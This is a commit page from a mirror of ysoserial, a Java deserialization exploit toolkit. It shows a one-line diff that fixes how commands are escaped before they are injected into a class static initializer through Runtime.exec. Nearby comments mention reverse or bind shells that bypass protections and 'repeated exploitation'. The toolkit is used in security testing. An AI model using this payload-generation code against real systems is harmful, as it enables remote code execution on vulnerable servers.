mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Resolve escape error (#151)
Resolve escape error: Caused by: compile error: ) is missing
This commit is contained in:
@@ -115,7 +115,7 @@ public class Gadgets {
|
|||||||
// run command in static initializer
|
// run command in static initializer
|
||||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
command.replace("\\", "\\\\").replace("\"", "\\\"") +
|
||||||
"\");";
|
"\");";
|
||||||
clazz.makeClassInitializer().insertAfter(cmd);
|
clazz.makeClassInitializer().insertAfter(cmd);
|
||||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||||
|
|||||||
Reference in New Issue
Block a user